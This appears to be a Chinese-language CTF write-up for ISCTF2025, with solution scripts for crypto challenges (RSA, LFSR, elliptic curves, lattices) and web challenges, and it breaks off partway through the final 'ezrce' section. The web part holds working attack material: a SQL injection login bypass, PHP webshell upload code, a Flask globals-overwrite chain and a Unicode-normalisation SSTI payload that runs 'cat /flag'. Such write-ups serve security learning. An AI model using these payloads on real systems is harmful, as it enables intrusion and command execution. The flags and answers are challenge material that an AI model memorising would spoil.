10917 words
55 minutes
ISCTF2025

crypto#

easy_RSA#

rom Crypto.Util.number import *
p = getPrime(1024)
q = getPrime(1024)
N = p*q
e = 65537
msg = bytes_to_long(b"ISCTF{dummy_flag}")
ct1 = pow(msg, e, N)
ct2 = pow(msg, p+q, N)
print(f"{N = }")
print(f"{ct1 = }")
print(f"{ct2 = }")
"""
n =
ct1 =
ct2 =
"""

解题的关键在于找出 ct2ct_2 的指数 p+qp+q 与已知数 NN 之间的关系。根据欧拉函数 ϕ(N)=(p1)(q1)\phi(N) = (p-1)(q-1),展开后得到:ϕ(N)=pqpq+1=N(p+q)+1\phi(N) = pq - p - q + 1 = N - (p+q) + 1

移项可以得到 p+qp+q 的表达式:p+q=N+1ϕ(N)p+q = N + 1 - \phi(N)

我们将这个关系带入 ct2ct_2 的公式:ct2mp+qmN+1ϕ(N)(modN)ct_2 \equiv m^{p+q} \equiv m^{N + 1 - \phi(N)} \pmod N

根据欧拉定理 mϕ(N)1(modN)m^{\phi(N)} \equiv 1 \pmod N,我们可以简化上面的式子:ct2mN+1mϕ(N)mN+1(mϕ(N))1mN+111mN+1(modN)ct_2 \equiv m^{N+1} \cdot m^{-\phi(N)} \equiv m^{N+1} \cdot (m^{\phi(N)})^{-1} \equiv m^{N+1} \cdot 1^{-1} \equiv m^{N+1} \pmod N

结论:

我们现在拥有了针对同一个明文 mm、同一个模数 NN 的两组密文:

  1. ct1=me(modN)ct_1 = m^{e} \pmod N
  2. ct2=mN+1(modN)ct_2 = m^{N+1} \pmod N

此时,这变成了一个标准的 共模攻击 问题。我们有两个指数 e1=ee_1 = ee2=N+1e_2 = N+1。只要 gcd(e,N+1)=1\gcd(e, N+1) = 1(这通常是成立的),我们就可以使用扩展欧几里得算法找到整数 s1,s2s_1, s_2,满足:

s1e+s2(N+1)=1s_1 \cdot e + s_2 \cdot (N+1) = 1

利用这两个系数,我们可以直接计算出明文:

mms1e+s2(N+1)(me)s1(mN+1)s2ct1s1ct2s2(modN)m \equiv m^{s_1 \cdot e + s_2 \cdot (N+1)} \equiv (m^e)^{s_1} \cdot (m^{N+1})^{s_2} \equiv ct_1^{s_1} \cdot ct_2^{s_2} \pmod N

Exp

import gmpy2
from Crypto.Util.number import long_to_bytes
n =
ct1 =
ct2 =
e = 65537
def solve():
e1 = e
e2 = N + 1
g, s1, s2 = gmpy2.gcdext(e1, e2)
if g != 1:
print("[-] GCD is not 1, specific handling required.")
return
m = (pow(ct1, s1, N) * pow(ct2, s2, N)) % N
flag = long_to_bytes(m)
print(f"[+] Flag: {flag.decode(errors='ignore')}")
if __name__ == '__main__':
solve()

Power tower#

from Crypto.Util.number import *
import random
from numpy import number
m = b'ISCTF{****************}'
flag = bytes_to_long(m)
n = getPrime(256)
t = getPrime(63)
l = pow(2,pow(2,t),n)
c = flag ^ l
print(t)
print(n)
print(c)
'''
t = 6039738711082505929
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
c = 114092817888610184061306568177474033648737936326143099257250807529088213565247
'''

我们要计算:l2(2t)(modn)l \equiv 2^{(2^t)} \pmod n

根据费马小定理(或者广义的欧拉定理):如果 nn 是质数,那么对于任意整数 aa,都有 an11(modn)a^{n-1} \equiv 1 \pmod n。这意味着,在模 nn 的世界里,指数是模 ϕ(n)\phi(n) 循环的。也就是:ab(modn)ab(modϕ(n))(modn)a^b \pmod n \equiv a^{b \pmod {\phi(n)}} \pmod n

因为 nn 是质数,所以欧拉函数 ϕ(n)=n1\phi(n) = n - 1

所以,我们可以分两步计算 ll

  1. 先计算降维后的指数:

    E=2t(modn1)E = 2^t \pmod {n-1}

    这一步利用 Python 的 pow(2, t, n-1) 可以秒出。

  2. 再计算最终结果:l=2E(modn)l = 2^E \pmod n,这一步利用 pow(2, E, n) 也可以秒出。

  3. 坑点:题目代码中虽然写着 n = getPrime(256),但这其实是一个陷阱。如果我们直接把 nn 当作素数,计算 ϕ(n)=n1\phi(n) = n-1,解出来的结果是错误的。通过 isPrime(n) 检查可以发现 nn 实际上是一个合数。因此我们需要先分解 nn 才能计算 ϕ(n)\phi(n)

  4. phi:ϕ(n)=(p11)(p21)(p31)\phi(n) = (p_1 - 1)(p_2 - 1)(p_3 - 1)

    exp

    from Crypto.Util.number import isPrime, long_to_bytes
    t = 6039738711082505929
    n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
    c = 114092817888610184061306568177474033648737936326143099257250807529088213565247
    p1 = 127
    p2 = 841705194007
    p3 = n // (p1 * p2)
    assert n == p1 * p2 * p3
    assert isPrime(p1)
    assert isPrime(p2)
    assert isPrime(p3)
    phi = (p1 - 1) * (p2 - 1) * (p3 - 1)
    exp = pow(2, t, phi)
    l = pow(2, exp, n)
    m_int = c ^ l
    flag = long_to_bytes(m_int)
    print(f"Flag: {flag.decode()}")

小蓝鲨的LFSR系统#

import secrets
import binascii
def simple_lfsr_encrypt(plaintext, init_state):
mask = [random.randint(0,1) for _ in range(128)]
state = init_state.copy()
for _ in range(256):
feedback = sum(state[i] & mask[i] for i in range(128)) % 2
state.append(feedback)
key = bytes(int(''.join(str(bit) for bit in mask[i*8:(i+1)*8]), 2)
for i in range(16))
keystream = (key * (len(plaintext)//16 + 1))[:len(plaintext)]
return bytes(p ^ k for p, k in zip(plaintext, keystream)), mask

这道题的漏洞非常明显,属于逻辑漏洞

  1. 无效的复杂运算:中间那段长达 256 次循环的 LFSR state 更新逻辑完全是无用的。加密密钥只依赖于 mask
  2. 密钥泄露:函数在返回密文的同时,竟然直接返回了 mask
    • 因为 key 是由 mask 生成的。
    • 所以,攻击者可以直接拿到 mask -> 还原出 key -> 解密密文。

exp

from z3 import *
import binascii
initState =
outputState =
ciphertext_hex =
# 关键修正:拼接完整的 LFSR 流
stream = initState + outputState
# 2. Z3 求解 Mask
solver = Solver()
mask = [Int(f'm_{i}') for i in range(128)]
# 约束:Mask 只能是 0 或 1
for m in mask: solver.add(Or(m == 0, m == 1))
# 约束:根据完整流建立方程
# stream[i...i+127] * mask = stream[i+128]
for i in range(128):
dot = Sum([mask[j] * stream[i + j] for j in range(128)])
solver.add(dot % 2 == stream[i + 128])
# 3. 解密执行
if solver.check() == sat:
m_vals = [solver.model()[m].as_long() for m in mask]
print("[+] Mask found!")
# 还原 Key
key = bytes(int(''.join(str(b) for b in m_vals[i*8:(i+1)*8]), 2) for i in range(16))
# 解密
ct = binascii.unhexlify(ciphertext_hex)
keystream = (key * (len(ct)//16 + 1))[:len(ct)]
flag = bytes(c ^ k for c, k in zip(ct, keystream))
print(f"[+] FLAG: {flag.decode(errors='ignore')}")
else:
print("[-] No solution found.")

沉迷数学的小蓝鲨#

=+ 3x + 27 (mod p)
Q(0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167, 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080)
k= ?
最终flag请将解出k值的16进制转换为32位md5以ISCTF{}包裹提交

首先,我们观察给出的参数:

  • p=0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2fp = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f。这是 secp256k1 的素数域 pp
  • 题目未给出 GG,但根据 pp 和题目背景,我们可以假设 GG 是 secp256k1 的标准基点。

验证点是否在曲线上

我们将给定的 QQ 和标准 GG 代入题目给出的方程 y2=x3+3x+27y^2 = x^3 + 3x + 27 进行验证,发现它们都不在该曲线上。

计算实际满足的 bb 值: b=y2(x3+3x)(modp)b' = y^2 - (x^3 + 3x) \pmod p

通过计算发现,对于 GGQQ,计算出的 bb' 是相同的。这意味着虽然题目宣称曲线是 b=27b=27,但实际的点运算是在一条 b=bb = b' 的曲线上进行的。

这是一个典型的 Invalid Curve Attack(错误曲线攻击)场景,或者更准确地说是题目使用了一个弱曲线参数但未做检查。

我们需要在实际曲线 E:y2=x3+3x+b(modp)E': y^2 = x^3 + 3x + b' \pmod p 上求解离散对数问题(DLP):Q=kGQ = kG

  1. 计算曲线的阶(Order): 使用 SageMath 计算 EE' 的阶,发现它不是一个大素数,而是包含许多小素数因子: Order=2×32×7×53×4733×Order = 2 \times 3^2 \times 7 \times 53 \times 4733 \times \dots

  2. Pohlig-Hellman 攻击: 由于阶是光滑的(Smooth),我们可以利用 Pohlig-Hellman 算法,分别在每个小素数因子的子群上求解 DLP,最后通过中国剩余定理(CRT)恢复出 kk

    实际上,在这个题目中,kk 的值非常小,直接使用 SageMath 的 discrete_log 函数甚至能在瞬间解出。

exp

from sage.all import *
import hashlib
# secp256k1 参数
p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
Gx = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
Gy = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8
# 题目给出的 Q
Qx = 0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167
Qy = 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080
a = 3
# 1. 计算实际的 b'
# 既然 Q = kG,那么它们必须在同一条曲线上。
# 我们用 G 来恢复这条曲线的 b 参数。
b_prime = (Gy**2 - (Gx**3 + a*Gx)) % p
print(f"Actual b: {b_prime}")
# 2. 构造实际曲线
E = EllipticCurve(GF(p), [a, b_prime])
G_point = E(Gx, Gy)
Q_point = E(Qx, Qy)
# 3. 计算阶并查看因子
order = E.order()
print(f"Curve Order: {order}")
print(f"Factors: {factor(order)}")
# 4. 求解 DLP
# 由于阶是光滑的,Sage 会自动使用 Pohlig-Hellman 算法
k = G_point.discrete_log(Q_point)
print(f"Found k: {k}")
# 5. 生成 Flag
# 将 k 值的 16 进制转换为 32 位 md5
k_hex = hex(k)[2:]
print(f"k (hex): {k_hex}")
flag_hash = hashlib.md5(k_hex.encode()).hexdigest()
print(f"Flag: ISCTF{{{flag_hash}}}")

baby_math#

from Crypto.Util.number import bytes_to_long
print(len(flag))
R = RealField(1000)
a,b = bytes_to_long(flag[:len(flag)//2]),bytes_to_long(flag[len(flag)//2:])
x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100)
enc = a*cos(x)+b*sin(x)
#1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52

这是一个典型的整数关系问题 (Integer Relation Problem)。我们已知实数 cos(x)\cos(x), sin(x)\sin(x)encenc,并且存在整数 a,ba, b 满足线性关系:

acos(x)+bsin(x)enc0a \cdot \cos(x) + b \cdot \sin(x) - enc \approx 0

这类问题通常可以使用 格基规约 (Lattice Reduction) 算法,如 LLL 算法 来求解。

格的构造

我们构造一个格,使得目标向量(包含 aabb)是格中的一个短向量。 考虑以下基向量: v1=(1,0,Kcos(x))v_1 = (1, 0, \lfloor K \cdot \cos(x) \rfloor) v2=(0,1,Ksin(x))v_2 = (0, 1, \lfloor K \cdot \sin(x) \rfloor) v3=(0,0,Kenc)v_3 = (0, 0, \lfloor K \cdot enc \rfloor)

其中 KK 是一个很大的常数,用于保留实数的小数部分信息。

如果我们对这些基向量进行线性组合:V=av1+bv21v3V = a \cdot v_1 + b \cdot v_2 - 1 \cdot v_3

得到的向量 VV 为:V=(a,b,aKcos(x)+bKsin(x)Kenc)V = (a, b, a \cdot \lfloor K \cos(x) \rfloor + b \cdot \lfloor K \sin(x) \rfloor - \lfloor K \cdot enc \rfloor)

忽略取整带来的微小误差,第三个分量近似为:K(acos(x)+bsin(x)enc)K \cdot (a \cos(x) + b \sin(x) - enc)

根据题目方程,括号内的值非常接近 0。因此,向量 VV 近似为 (a,b,0)(a, b, 0)。 相对于格基中其他巨大的向量(包含 KK 的分量),向量 VV 的长度非常小(a,ba, b 只有几百比特)。因此,LLL 算法可以将这个短向量找出来。

精度与参数 K 的选择

题目中给出的 enc 是一个高精度浮点数的字符串表示。我们需要注意 enc有效精度

  • 提供的 enc 字符串长度约为 304 字符。
  • 如果 KK 取得太大(超过了 enc 的精度),噪声会被放大,导致无法找到正确的整数关系。
  • 如果 KK 取得太小,可能无法区分出唯一的整数解。

经过测试,选取 K=10260K = 10^{260} 可以成功恢复出 aabb

Exp

from sage.all import *
from Crypto.Util.number import long_to_bytes
# 题目给出的数据
x_val_str = "0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100"
enc_val_str = "1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52"
# 设置高精度环境
R = RealField(2000)
x = R(x_val_str)
enc = R(enc_val_str)
# 构造格
# 这里的 K 需要根据 enc 的精度进行调整。
# enc 大约有 300 位,但有效精度受到最后一位的限制。
# 我们选择 10^260 作为缩放因子。
K = 10**260
M = Matrix(ZZ, [
[1, 0, floor(K * cos(x))],
[0, 1, floor(K * sin(x))],
[0, 0, floor(K * enc)]
])
# 使用 LLL 算法进行格基规约,并获取变换矩阵
# 变换矩阵 U 告诉我们基向量是如何组合的
B, U = M.LLL(transformation=True)
# 寻找解
# 我们寻找的是 a*v1 + b*v2 - 1*v3 (或 +1*v3) 的组合
# 所以我们检查变换矩阵 U 的每一行,看哪一行的第三个系数是 1 或 -1
for i, u_row in enumerate(U):
if abs(u_row[2]) == 1:
# 对应的第一列和第二列就是 a 和 b
a_cand = abs(int(B[i][0]))
b_cand = abs(int(B[i][1]))
try:
part1 = long_to_bytes(a_cand)
part2 = long_to_bytes(b_cand)
full_flag = part1 + part2
if b'flag' in full_flag or b'ISCTF' in full_flag:
print(f"Found Flag: {full_flag.decode()}")
except Exception as e:
pass

小蓝鲨的密码箱#

题目分析

打开题目链接,我们可以看到一个“字符串加密服务”的页面。 页面要求用户输入三个参数 a 、 b 、 c 以及一段想要加密的文本 text 。

点击“加密”后,服务器会返回以下信息:

  1. 原文 : 你输入的 text 。
  2. 密文 : 你输入的 text 加密后的十六进制数据。
  3. Flag : Flag 的密文 (这是关键点)。
  4. 使用的参数 : 你刚刚输入的 a , b , c 。

漏洞发现

这道题的核心漏洞在于: 服务器使用用户提供的参数 a , b , c 来加密 Flag。

这意味着我们不需要破解原本复杂的加密算法,也不需要知道服务器默认的密钥。我们只需要构造一组特殊的参数,使得加密逻辑变得极其简单(线性或可逆),从而直接反推 Flag。

通过简单的测试(例如输入 text=“A” ),我们可以推测加密逻辑大致为:E(x)=(xa+b)(modc)E(x) = (x^a + b) \pmod c或者类似的模运算逻辑。

思路

我们要构造一组参数,让加密过程变成简单的“位偏移”或者“原文输出”。

如果我们设置:

  • a = 1 (保持 xx 的一次方)
  • b = 1 (简单的加法偏移)
  • c = 1000 (模数足够大,避免 ASCII 字符在运算后发生卷绕/溢出) 此时加密函数变为: E(x)=(x1+1)(mod1000)=x+1E(x) = (x^1 + 1) \pmod{1000} = x + 1

也就是说,每个字符的 ASCII 码值只增加了 1。

步骤

  1. 发送 Payload : 在网页表单中输入:

    • a : 1
    • b : 1
    • c : 1000
    • text : test (任意内容)
  2. 获取回显 : 服务器返回的 Flag 密文(Hex)为: 4a 54 44 55 47 7c 38 …

  3. 解密 : 由于加密逻辑是 x+1x + 1,解密逻辑就是 x1x - 1

    • 0x4a (74) -> 73 (‘I’)
    • 0x54 (84) -> 83 (‘S’)
    • 0x44 (68) -> 67 (‘C’)

小蓝鲨的RSA密文#

原题里有

c = (m**3 + a2*m**2 + a1*m + a0) % N

其中

  • m 是 16 字节 AES key 转成的整数,最多 21282^{128}
  • m32384m^3 \le 2^{384}
  • a2 大约是 2402^{40} 量级,a2*m^222962^{296}
  • a1*ma0 更小

而 NNN 是 1024 位的大数(≈21024\approx 2^{1024}≈21024)。 所以整个多项式值远小于 NNN,不会发生模回绕,于是直接有:

c=m3+a2m2+a1m+a0(作为普通整数等式)c = m^3 + a2 m^2 + a1 m + a0 \quad (\text{作为普通整数等式})

2. 利用已知的高位信息约束 m 的范围

已知:

a2_high = a2 >> LOW_BITS # LOW_BITS = 16
a2_high = 9012778

所以:a2[a2high216,(a2high+1)216)a2 \in [a2_{\text{high}} \cdot 2^{16}, (a2_{\text{high}}+1)\cdot 2^{16})

另一方面,由等式:c=m3+a2m2+a1m+a0c = m^3 + a2 m^2 + a1 m + a0

移项得到:cm3a1ma0=a2m2c - m^3 - a1 m - a0 = a2 m^2

a2a2 的区间代入:a2high216m2cm3a1ma0<(a2high+1)216m2a2_{\text{high}} \cdot 2^{16} \cdot m^2 \le c - m^3 - a1 m - a0 < (a2_{\text{high}}+1)\cdot 2^{16} \cdot m^2

记:H1(m)=cm3a2high216m2a1ma0H_1(m) = c - m^3 - a2_{\text{high}}\cdot 2^{16} m^2 - a1 m - a0

H2(m)=cm3(a2high+1)216m2a1ma0H_2(m) = c - m^3 - (a2_{\text{high}}+1)\cdot 2^{16} m^2 - a1 m - a0

则我们要的 mmm 满足:

  • H1(m)0H_1(m) \ge 0
  • H2(m)<0H_2(m) < 0

又因为这两个函数在 m≥0m \ge 0m≥0 时都是单调递减的(主导项是 −m3-m^3−m3),所以各自都有唯一根 r1,r2r_1, r_2r1,r2:

  • H1(m)0mr1H_1(m) \ge 0 \Rightarrow m \le r_1
  • H2(m)<0m>r2H_2(m) < 0 \Rightarrow m > r_2

于是 m(r2,r1]m \in (r_2, r_1] 这个区间里。

H1,H2H_1, H_2 分别在区间[0,2128][0,2^{128}] 上做二分,找到“最后一个使 Hi(m)0H_i(m)\ge 0的整数”:

m1 = 155455820692697783953491152103673434341
m2 = 155455820692697783953491152103673412496
m1 - m2 = 21845 # = 0x5555

所以只要枚举这 2 万多 个 m 值就行了。

3. 从 m 反解 a2,筛出唯一解

对每个候选 m:

a2=cm3a1ma0m2a2 = \frac{c - m^3 - a1 m - a0}{m^2}

  • 要求分子能被 m2m^2 整除(否则 a2a2不是整数)
  • 并且 (a2>>16)==a2_high(a2 >> 16) == a2\_high

这样筛完只剩下唯一的一对:

m = 155455820692697783953491152103673430935
a2 = 590661429227

检查一下:

m**3 + a2*m**2 + a1*m + a0 == c # True

4. 解出 AES key,解密得到 flag

m 是从 16 字节 aes_key 转来的:

key = m.to_bytes(16, 'big')
# key = b't\xf3\xb3\xb6\xef\xafcO\x06\xd6V\xa3\xf5\xc8\x03\x97'

然后用题里给的 ivct 做 AES-CBC 解密、去 padding:

cipher = AES.new(key, AES.MODE_CBC, iv=iv)
pt_padded = cipher.decrypt(ct)
pt = unpad(pt_padded, 16)
# b'ISCTF{i7_533M5_Lik3_You_R34lLy_UNd3R574nd_Polinomials_4nD_RSA}'

web#

Who am I#

  1. 信息收集

访问目标网站,在登录逻辑或通过扫描中发现了一个异常的重定向或隐藏路径。最终在 /272e1739b89da32e983970ece1a086bd 路径下发现了 Python Flask 应用的源代码泄漏。

**2. 源码分析 **

通过审计泄露的 app.py (或者页面上显示的 mian.py ),发现了两个关键的漏洞点:

漏洞点 A: 全局变量覆盖 (/operate)

@app.route('/operate',methods=['GET'])
def operate():
username=request.args.get('username')
password=request.args.get('password')
confirm_password=request.args.get('confirm_password')
# 关键点:如果 username 在 globals() 全局变量中,就使用
pydash.set_ 修改其属性
if username in globals() and "old" not in password:
Username=globals()[username]
try:
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"

这段代码允许攻击者通过 pydash.set_ 修改当前运行环境中任意全局对象的属性。例如,我们可以修改 app (Flask实例) 内部的配置。

漏洞点 B: 受限的文件包含/模板渲染 (/impression)

@app.route('/impression',methods=['GET'])
def impression():
point=request.args.get('point')
# 限制长度不能超过5
if len(point) > 5:
return "Invalid request"
# 过滤了特殊字符,无法使用目录穿越 ../ 或 /
List=["{","}",".","%","<",">","_"]
for i in point:
if i in List:
return "Invalid request"
return render_template(point)

这里存在一个受限的 LFI (Local File Inclusion)。虽然 render_template 可以渲染文件,但由于过滤了 . 和 / 且长度限制在 5 以内,我们无法直接通过 ../../flag 或 /flag 来读取 flag。

3. 漏洞利用思路

我们需要利用 全局变量覆盖 来配合 受限的模板渲染 。

  1. 突破路径限制 : 由于 /impression 无法输入路径(只能输入文件名),我们需要改变 Flask 寻找模板的“根目录”。 Flask 使用 Jinja2 作为模板引擎,其加载器 ( jinja_loader ) 有一个 searchpath 属性,是一个列表,存储了查找模板的目录路径。

  2. 攻击链 :

    • 利用 /operate 接口,将 app.jinja_loader.searchpath 的第一个元素(索引 0)修改为系统根目录 / 。
    • 利用 /impression 接口,请求渲染名为 flag 的模板。
    • 此时,Flask 会在搜索路径(即 / )下查找名为 flag 的文件,从而成功加载 /flag 。

4. 解题步骤 (Solution)

第一步:修改 Jinja2 模板搜索路径

发送请求将 searchpath[0] 修改为 / 。

  • URL : /operate
  • Payload :
    • username : app (目标全局变量)
    • password : jinja_loader.searchpath.0 (目标属性路径)
    • confirm_password : / (目标值)
Terminal window
curl "http://challenge.bluesharkinfo.com:24577/operate?
username=app&password=jinja_loader.searchpath.0&
confirm_password=/"

预期响应 : oprate success

第二步:读取 Flag

发送请求渲染 flag 文件。

  • URL : /impression
  • Payload :
    • point : flag
Terminal window
curl "http://challenge.bluesharkinfo.com:24577/impression?
point=flag"

flag到底在哪#

  1. 信息收集

访问题目链接 http://challenge.bluesharkinfo.com:24038/,直接返回 403 Forbidden,提示可能是爬虫限制或权限问题。

常规思路检查 robots.txt

GET /robots.txt HTTP/1.1
Host: challenge.bluesharkinfo.com:24038

返回内容:

User-agent: *
Disallow: /admin/login.php

发现隐藏的后台登录地址 /admin/login.php

2. SQL 注入绕过登录

访问 http://challenge.bluesharkinfo.com:24038/admin/login.php,是一个管理员登录界面。 尝试使用常见的 SQL 注入万能密码进行测试。

在密码框输入以下 Payload 成功绕过登录:

  • Username: admin
  • Password: 1' OR '1'='1

登录成功后,页面显示一个文件上传表单:

<h2>📤 上传 PHP Webshell</h2>
<form method="POST" enctype="multipart/form-data">
...

3. 文件上传 GetShell

利用 Python 脚本保持 Session 并上传 Webshell。

关键点

  1. 需要先在 /admin/login.php 使用 SQL 注入 Payload 获取有效的 PHPSESSID
  2. 携带该 Cookie 向 /upload.php (或者直接在登录后的表单提交地址) 上传 PHP 文件。

上传脚本核心逻辑

import requests
url_login = "http://challenge.bluesharkinfo.com:24038/admin/login.php"
url_upload = "http://challenge.bluesharkinfo.com:24038/upload.php"
s = requests.Session()
# 1. 登录绕过
s.post(url_login, data={"username": "admin", "password": "1' OR '1'='1"})
# 2. 上传 Webshell
files = {"shell": ("cmd.php", "<?php system($_GET['c']); ?>", "application/x-php")}
s.post(url_upload, files=files)

上传成功后,服务器返回 Webshell 路径:/cmd.php

4. 获取 Flag

访问 Webshell 并执行系统命令寻找 Flag。

  1. 寻找 Flag 文件位置: URL: http://challenge.bluesharkinfo.com:24038/cmd.php?c=find / -name flag*

    输出结果中发现:

    /home/flag
  2. 读取 Flag: URL: http://challenge.bluesharkinfo.com:24038/cmd.php?c=cat /home/flag

    输出:

    ISCTF{90d8667f-a7fa-44fe-9f8e-673d6f989b01}

b@by n0t1ce b0ard#

漏洞分析

该漏洞存在于 registration.php 文件中。在处理用户注册请求时,代码未对上传的头像文件进行任何后缀名或文件类型的验证,直接将其保存到服务器上。

漏洞代码片段 (registration.php):

// 接收表单数据
extract($_POST);
// ...
// 获取文件名
$imageName=$_FILES['img']['name'];
// ...
// 创建目录并移动上传的文件
mkdir("images/$e");
move_uploaded_file($_FILES['img']['tmp_name'],"images/$e/".$_FILES['img']['name']);

攻击者可以构造一个包含恶意 PHP 代码的文件(例如 shell.php),在注册时将其作为头像上传。上传成功后,文件会被保存在 /images/<用户邮箱>/ 目录下。攻击者可以通过访问该路径执行任意 PHP 代码。

复现步骤

  1. 构造 Payload: 准备一个 PHP Webshell,例如:

    <?php system($_GET['cmd']); ?>
  2. 发送请求: 向 registration.php 发送 POST 请求,包含必要的注册信息,并将 img 字段设置为上述 PHP 文件。

  3. 获取 Shell: 注册成功后,Webshell 的路径为 http://目标IP:端口/images/<邮箱>/shell.php

  4. 执行命令: 访问 http://目标IP:端口/images/<邮箱>/shell.php?cmd=cat /flag 读取 flag。

难过的 bottle#

WAF 分析

经过进一步测试,发现服务器部署了一个非常严格的黑名单(WAF),过滤了绝大多数的小写字母和特殊符号。

黑名单包含:

BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]

允许的字符: a, f, g, l 以及数字和部分符号(如 ., _, (, ), +, ', ")。

这意味着我们无法直接使用 import, os, popen, read 等关键词,也无法直接书写包含这些字母的字符串(如 'os', 'cat /flag')。

绕过技巧:Unicode 等价性 (Normalization)

Python 3 在处理标识符(变量名、函数名)时,支持 Unicode 字符。如果一个 Unicode 字符通过 NFKC 标准化 后对应 ASCII 字符,Python 解释器会将其视为该 ASCII 字符。

利用这一特性,我们可以用“长得像”的 Unicode 字符替换黑名单中的字符,从而绕过 WAF 检测。

方法一:使用 Unicode 变体 (上标/下标/特殊符号)

寻找与 ASCII 字符长得不一样但标准化后相同的字符。

替换字符示例:

  • c -> (U+1D9C)
  • h -> ʰ (U+02B0)
  • r -> ʳ (U+02B3)
  • i -> (U+1D62)
  • m -> (U+1D50)
  • p -> (U+1D56)
  • o -> º (U+00BA)
  • t -> (U+1D57)
  • e -> (U+1D49)
  • n -> (U+207F)

构造 Payload:

{{ __ᵢᵐᵖºʳᵗ__(ᶜʰʳ(111)+ᶜʰʳ(115)).ᵖºᵖᵉⁿ(ᶜʰʳ(99)+ᶜʰʳ(97)+ᶜʰʳ(116)+ᶜʰʳ(32)+ᶜʰʳ(47)+ᶜʰʳ(102)+ᶜʰʳ(108)+ᶜʰʳ(97)+ᶜʰʳ(103)).ʳᵉaᵈ() }}
  • 这里的 ᶜʰʳ 对应 chr
  • __ᵢᵐᵖºʳᵗ__ 对应 __import__
  • 字符串参数通过 chr(code) 拼接生成。

方法二:使用全角字符 (Full-width Characters)

全角字符(Full-width forms)通常用于东亚文字排版,它们的 Unicode 编码范围是 U+FF01U+FF5E。这些字符在 NFKC 标准化下也会转换为对应的半角 ASCII 字符。

全角字符示例:

  • a (U+0061) -> (U+FF41)
  • b (U+0062) -> (U+FF42)
  • z (U+007A) -> (U+FF5A)

由于 WAF 只过滤了半角的小写字母,使用全角字母可以完美绕过检测,且 Python 能够正常识别它们为代码。

替换逻辑:

def to_fullwidth(char):
# ASCII 字符偏移量 0xFEE0 得到全角字符
return chr(ord(char) + 0xFEE0)

构造 Payload:

{{ __import__(chr(111)+chr(115)).popen(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read() }}
  • __import__ -> __import__
  • chr -> chr
  • popen -> popen
  • read -> read (注意 a 可以用全角也可以用半角,因为半角 a 未被过滤)

exp

import zipfile
def create_fullwidth_payload():
# 黑名单字符集
blacklist = set(["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z"])
def bypass_id(s):
res = ""
for char in s:
if char in blacklist:
# 转换为全角字符: ASCII + 0xFEE0
res += chr(ord(char) + 0xFEE0)
else:
res += char
return res
# 1. 处理函数名
func_chr = bypass_id("chr") # -> chr
func_import = bypass_id("__import__") # -> __import__
func_popen = bypass_id("popen") # -> popen
func_read = bypass_id("read") # -> read
# 2. 构造参数字符串 'os' 和 'cat /flag'
# 使用 chr() 拼接,避免直接出现字符
def make_str(s):
return "+".join([f"{func_chr}({ord(c)})" for c in s])
str_os = make_str("os")
str_cmd = make_str("cat /flag")
# 3. 组合 Payload
payload = f"{{{{ {func_import}({str_os}).{func_popen}({str_cmd}).{func_read}() }}}}"
print("Payload:", payload)
# 4. 写入文件
with zipfile.ZipFile('exp.zip', 'w') as zf:
zf.writestr('exp.txt', payload.encode('utf-8'))
if __name__ == '__main__':
create_fullwidth_payload()

这个脚本可以用来查找任何给定字符的可用 Unicode 变体(如上标、下标、全角字符等),这些变体在 Python 中会被标准化为原始字符。

import unicodedata
def search_variants(target_chars):
"""
Search for Unicode characters that normalize to the target characters
but are NOT the target characters themselves.
"""
found = {char: [] for char in target_chars}
print(f"[*] Searching for variants for: {', '.join(target_chars)}")
# Scan Basic Multilingual Plane (BMP) and a bit more
for code in range(0x1FFFF):
char = chr(code)
try:
# NFKC is what Python uses for identifier normalization
norm = unicodedata.normalize('NFKC', char)
except:
continue
if norm in target_chars and char != norm:
# Check if it's a valid identifier part in Python
if char.isidentifier():
found[norm].append(char)
print("\n[+] Found Variants (Valid Identifiers):")
for char in target_chars:
variants = found[char]
if variants:
# Sort by length of representation to find simple ones
# Pick top 5
display_vars = variants[:5]
var_str = ", ".join([f"{v} (U+{ord(v):04X})" for v in display_vars])
print(f" '{char}' -> {var_str}")
else:
print(f" '{char}' -> [!] No valid identifier variants found")
if __name__ == '__main__':
# The blacklist from the CTF challenge
blacklist = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
search_variants(blacklist)

ezrce#

核心原理

题目代码(根据常规 CTF 经验及 web 引用)如下:

if (preg_match('/^[A-Za-z\(\)_;]+$/',
$code)) {
eval($code);
}

限制条件 :只能使用 字母 、 圆括号 () 、 下划线 _ 和 分号 ; 。 难点 :不能使用引号(无法直接定义字符串)、数字、 $ (无法使用变量)、 / (路径)等。

解题思路

